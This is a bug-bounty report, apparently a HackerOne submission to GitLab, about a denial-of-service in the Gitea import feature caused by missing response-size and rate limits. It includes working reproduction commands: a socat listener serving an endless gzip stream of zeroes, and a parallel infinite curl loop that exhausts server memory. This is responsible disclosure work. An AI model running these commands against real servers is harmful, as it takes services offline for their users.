No size or rate limit when trying Gitea import enables low-effort DoS vulnerability
HackerOne report #3050155 by nermalt on 2025-03-20, assigned to @greg:
Report | Attachments | How To Reproduce
Report
NOTE! Thanks for submitting a report! Please note that initial triage is handled by HackerOne staff. They are identified with a
HackerOne triagebadge and will escalate to the GitLab team any. Please replace all the (parenthesized) sections below with the pertinent details. Remember, the more detail you provide, the easier it is for us to triage and respond quickly, so be sure to take your time filling out the report!
Summary
When supplying an url for Gitea import, it will try send requests to that endpoint and try to read the full response. If the response is large it will consume a lot of memory until the thread reaches it timeout (by default 60 seconds). No rate limit means that a user can repeatedly send multiple requests thus causing complete loss of service.
The reponses can be compressed to further increase the memory usage compared to the data sent over the network - for example in the example below we send zeroes compressed with gzip which is compressed to a factor of about 1:1000.
Steps to reproduce
- Import a Gitea project, but give an url to a service that creates a very large response
- Perform multiple requests with the same session cookie to the /url url in parallell, where each request will block any other processing for that execute process.
- Observe that the GitLab server is unavailable
Impact
Full loss of impact
Examples
- Set up a remote host running socat and executing the attached script infinite-response.sh on every connection. It will give an HTTP response where the body is an infinite stream of compressed zero bytes.
socat tcp-listen:8080,reuseaddr,fork system:./infinite-response.sh
- Go to your GitLab instance, navigate to "New Project" -> "Import Project" and select "Gitea".
- Activate "Web Developer Tools in your browser.
4, Enter the url to your socat service as Gitea host URL and anything for Personal Access Token and click "List your Gitea repositories" - Go to the "Networks" tab of your browsers developer tools, right click on the GET request to /import/gitea/status and copy the request as cURL.
- Put that curl request in a bash loop such as the one below which run the requests in parallell:
for i in {1..20}
do
(
while true
do
# Replace this with your cURL request
curl 'http://gdk.test:3000/import/gitea/status' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://gdk.test:3000/projects/new' -H 'Connection: keep-alive' -H 'Cookie: <redacted>; known_sign_in=UUxzMlQ4cW9rWjM5NlBXdG93QzZMaDh6elZNSDZadFdDQklRVW9Wb2dHdG10UnVubERJQkc2ZHplbmM5dURrdWhUbVc4Mk56WjU0bWovd3dpejJGT3JEa2RWMEVESVFHRmVuNFBsNEZjaGdVRnRIRUpGTmxVU0FjR3p6WUVCQnktLUhHU0lyb1g3RHcrYTRSWkhaeGVCS2c9PQ%3D%3D--80f0e07671cf5aa87078071ae9c15e3a3045cfe5; perf_bar_enabled=true; _gitlab_session=cell-1-bec386749a34b5c19f5b3b2bc4e7f03a; preferred_language=en' -H 'Upgrade-Insecure-Requests: 1' -H 'Priority: u=0, i'
done
) &
done
- Observe that the GitLab instance is now unavailable since every request consumes a lot of memory and will eventually time out. The
puma processes will eventually restart, but since the loop is continuing it won't help.
What is the current bug behavior?
There is no size limit which causes the requests to eventually time out, reading several GB of memory.
There is no rate limit which makes it possible for one user to occupy every thread of a server.
What is the expected correct behavior?
When the response size is much larger than expected, the request should be aborted
It should be a rate limit so one user session can only perform one such request in parallel
Relevant logs and/or screenshots
(Paste any relevant logs - please use code blocks (```) to format console output,
logs, and code as it's very hard to read otherwise.)
Output of checks
(If you are reporting a bug on GitLab.com, write: This bug happens on GitLab.com)
Results of GitLab environment info
(For installations with omnibus-gitlab package run and paste the output of:
sudo gitlab-rake gitlab:env:info)
(For installations from source run and paste the output of:
sudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production)
user@gitlab gitlab]$ bundle exec rake gitlab:env:info
DEPRECATION WARNING: Support for Rails versions < 7.1 is deprecated and will be removed from ViewComponent 4.0.0 (ViewComponent v4 will remove support for Rails versions < 7.1 no earlier than April 1, 2025) (called from <main> at /home/user/gdk/gitlab/config/environment.rb:7)
System information
System:
Proxy: no
Current User: user
Using RVM: no
Ruby Version: 3.3.7
Gem Version: 3.6.6
Bundler Version:2.6.5
Rake Version: 13.0.6
Redis Version: 7.0.14
Sidekiq Version:7.3.9
Go Version: go1.24.0 linux/amd64
GitLab information
Version: 17.11.0-pre
Revision: e9d5a3a89e5
Directory: /home/user/gdk/gitlab
DB Adapter: PostgreSQL
DB Version: 14.9
URL: http://gdk.test:3000
HTTP Clone URL: http://gdk.test:3000/some-group/some-project.git
SSH Clone URL: ssh://git@gdk.test:2222/some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.41.0
Repository storages:
- default: unix:/home/user/gdk/praefect.socket
GitLab Shell path: /home/user/gdk/gitlab-shell
Gitaly
- default Address: unix:/home/user/gdk/praefect.socket
- default Version: 17.10.0-rc1-26-g622866ad5
- default Git Version: 2.48.1.gl1
[user@gitlab gitlab]$
Impact
An attacker can with little effort make the server unavailable
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: